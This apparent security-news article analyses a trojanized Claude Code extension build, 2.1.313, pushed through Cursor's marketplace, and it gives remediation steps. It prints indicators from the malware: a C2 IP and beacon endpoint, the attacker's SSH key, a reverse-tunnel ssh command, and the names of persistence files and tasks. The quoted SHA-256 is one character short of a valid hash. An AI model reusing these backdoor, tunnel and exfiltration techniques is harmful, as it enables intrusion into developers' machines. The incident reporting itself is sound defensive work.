al-ice.ai

The Update Was the Malware: Trojanized Claude Code Build Planted SSH Backdoors via Cursor’s Marketplace

Agent & Supply Chain Security by al-ice.ai Editorial

On 29 October 2026 a routine extension update became a supply-chain incident: version 2.1.313 of anthropic.claude-code — the official Claude Code VS Code extension — was published to Cursor's extension marketplace carrying a small self-contained malicious loader embedded in the legitimate extension.js bundle. StepSecurity's sandbox and registry analysis, published 30 October, confirms the payload planted an attacker SSH key, installed per-OS persistence, opened a reverse SSH tunnel to attacker infrastructure, and beaconed host reconnaissance over plain HTTP. Cursor reports at most 5,000 users received the trojanized build during an 11-hour window before the version was pulled and the marketplace taken fully offline.

Read this one carefully, because every familiar reassurance fails in order. The package was not a typosquat — it shipped under the legitimate anthropic.claude-code identifier. The malicious file (SHA-256 ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8cc3ab6bf15, 3,692,922 bytes) is only about 7 KB larger than the preceding clean release. And sandbox telemetry shows the payload executes under plain Node.js with no VS Code APIs: loading the extension module is enough. No Claude conversation, no prompt, no package-manager lifecycle hook. If your Cursor instance auto-updated extensions on 29 October, you may have consumed it without touching anything.

Anthropic did not ship this

The scope question was settled on 30 October. Per Anthropic's clarification via Felix Rieseberg, this was not a compromise of Anthropic's systems or employee laptops: a malicious actor used access to Cursor's marketplace to publish a tampered copy of the extension that Anthropic neither built nor published. Versions on Anthropic's official channels are not affected, and — a detail that matters for triage — 2.1.313 was never published to Open-VSX, the Microsoft Visual Studio Marketplace, or any official host. Anthropic skipped straight to 2.1.314 to avoid confusion. StepSecurity independently confirmed the registry state: Open-VSX serves 2.1.312 and 2.1.314 but returns "not found" for 2.1.313 across its API and content CDN, and Microsoft's download endpoint 404s on 2.1.313 while serving both neighbors. Exposure is limited to Cursor users who installed 2.1.313 inside the window. Cursor states it has no evidence other extensions were tampered with, and rotated its keys.

The timeline, all UTC: clean 2.1.312 published 27 October 20:26; trojanized 2.1.313 live in Cursor's marketplace by ~09:27 on 29 October (2:27am PT per Cursor); exposure window 09:27–20:35 on 29 October; Cursor removes the version and takes the marketplace fully offline at 20:35; clean 2.1.314 published 01:07 on 30 October; the C2 at 134.209.82.225 taken offline with the hosting provider's cooperation, per Cursor.

What the loader does on activation

Noma's analysis puts the mechanism at 66 lines of obfuscated IIFE prepended to the legitimate entry-point bundle, executing synchronously the moment the IDE activates the extension — before any genuine extension logic — wrapped in aggressive try/catch so the real Claude Code UI loads smoothly even when payload stages fail. Each operation is designed to avoid suspicion on a developer workstation that otherwise behaves normally.

First, host fingerprinting and beaconing: hostname, username, OS, CPU architecture, the global Git identity (git config --global user.email), public IP via api.ipify.org and ifconfig.me, and a scan for up to 40 environment variable names containing KEY, TOKEN, SECRET, PASS, AWS, or GCP — exfiltrated as unencrypted HTTP to 134.209.82.225:8099/beacon. Values are not placed in the initial beacon, but as researcher Paul McCarty notes, the names alone reveal which cloud providers, CI systems, and credential types are configured — and successful SSH access would let the operator read the account directly. Second, SSH service activation and key injection: attempt to enable the native SSH daemon on each platform (Remote Login on macOS, sshd via systemctl on Linux, OpenSSH Server on Windows), then append an attacker-controlled key to ~/.ssh/authorized_keys at mode 0600, disguised under the administrative-looking comment svc-telemetry (ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P). Third, a reverse tunnel: the payload decodes an embedded private key to a temp file and loops every 60 seconds — preferring autossh when present — holding ssh tunnel@134.209.82.225 -N -R '*:0:localhost:22' open through firewalls and NAT back to the developer's port 22. Fourth, persistence that survives remediation-by-uninstall: a macOS LaunchAgent (com.apple.sysmond.plist, RunAtLoad + KeepAlive), a Linux @reboot crontab entry, and a Windows SysMon scheduled task running as SYSTEM with a Startup-folder fallback.

One honest caveat, via Cursor's own analysis as reported by The Hacker News: turning on the local SSH service requires admin rights the malicious extension does not have on most macOS and Windows hosts, so on those hosts the tunnel step fails and the attacker could not have logged in through it. The extension still adds the attacker's key, installs persistence, and sends host details to the attacker — follow the remediation steps regardless. No second-stage payloads have been observed, but the reverse tunnel is a pathway to command execution and file transfer on any host where the SSH step succeeded.

Why this one travels further than a normal compromise

Three properties make this incident load-bearing for anyone running AI coding assistants. First, the trust anchor was the marketplace, not the model: no prompt injection, no context hijack, no malicious skill — a traditional code-level supply-chain poisoning wearing the legitimate publisher identity, which sails past every AI-specific control (prompt filters, tool allowlists, MCP origin checks) because none of them inspect the extension bundle. Second, the target is the developer's own machine: SSH keys, cloud credentials, and repository access concentrated on the workstation that the assistant is deeply integrated into — the same concentration this site keeps documenting from the other direction, from Warden Stealer harvesting Claude, Codex, and Cursor configs to Shai-Hulud's Bitwarden CLI compromise to TrapDoor's .cursorrules and CLAUDE.md hijacks. Third, the remediation asymmetry: uninstalling the extension is not sufficient, because the loader drops standalone persistence that survives removal. Anyone who treats "remove the bad version" as the end of the incident keeps the backdoor.

What to do

  • Determine exposure first. If anthropic.claude-code 2.1.313 was installed on any machine between 29 October 09:27 UTC and 30 October — Cursor's window plus auto-update lag — treat that host as compromised. Versions from Open-VSX or the Microsoft Marketplace are not affected.
  • Hunt the key, not just the version. Check ~/.ssh/authorized_keys on every exposed host for the svc-telemetry entry and remove it. Audit for unknown keys regardless of version history.
  • Remove per-OS persistence before declaring clean. macOS: ~/Library/LaunchAgents/com.apple.sysmond.plist plus ~/.config/.smt and ~/.config/.smtk. Linux: @reboot crontab entries pointing at tunnel scripts plus the same ~/.config artifacts. Windows: a SysMon scheduled task (SYSTEM) or smt.cmd/sysmon.cmd in the Startup folder.
  • Rotate everything reachable from the host. Credentials, sessions, and tokens accessible from the machine — cloud keys, CI secrets, Git identities — not just the SSH key. The beacon told the operator exactly which credential types to go after. Cursor says it is contacting impacted users directly; do not wait for that email to start.
  • Pin and verify extension supply. Disable silent auto-update of IDE extensions built by third-party marketplaces where policy allows, pin versions, and alert on unexpected version numbers — 2.1.313 should never have existed outside Cursor, and a registry check would have shown it missing from every official host.

Sources: